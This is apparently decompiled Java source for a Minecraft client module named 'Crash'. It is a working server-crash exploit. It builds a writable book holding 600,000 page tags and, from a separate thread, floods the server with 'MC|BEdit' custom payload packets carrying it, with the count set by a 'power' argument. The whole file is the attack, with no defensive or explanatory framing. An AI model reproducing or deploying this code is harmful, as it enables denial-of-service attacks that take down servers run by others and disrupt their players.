package me.hp888.client; import io.netty.buffer.Unpooled; import java.io.IOException; import net.minecraft.client.Minecraft; import net.minecraft.client.network.NetHandlerPlayClient; import net.minecraft.init.Items; import net.minecraft.item.ItemStack; import net.minecraft.nbt.NBTTagCompound; import net.minecraft.nbt.NBTTagList; import net.minecraft.nbt.NBTTagString; import net.minecraft.network.PacketBuffer; import net.minecraft.network.play.client.C17PacketCustomPayload; public class Crash { static PacketBuffer buffer = new PacketBuffer(Unpooled.buffer()); public static void createBook() { NBTTagString tString = new NBTTagString("_"); ItemStack stack = new ItemStack(Items.writable_book); NBTTagCompound tag = new NBTTagCompound(); NBTTagList list = new NBTTagList(); for (int i = 0; i < 600000; i++) { list.appendTag(tString); } tag.setTag("pages", list); stack.setTagCompound(tag); try { buffer.writeItemStackToBuffer(stack); } catch (IOException e) { e.printStackTrace(); } } public static void sendPayload(int power) { Thread t = new Thread(new Runnable() { public void run() { for (int x = 0; x < this.val$power; x++) { Minecraft.getMinecraft().getNetHandler().addToSendQueue(new C17PacketCustomPayload("MC|BEdit", Crash.buffer)); } } }); t.start(); } }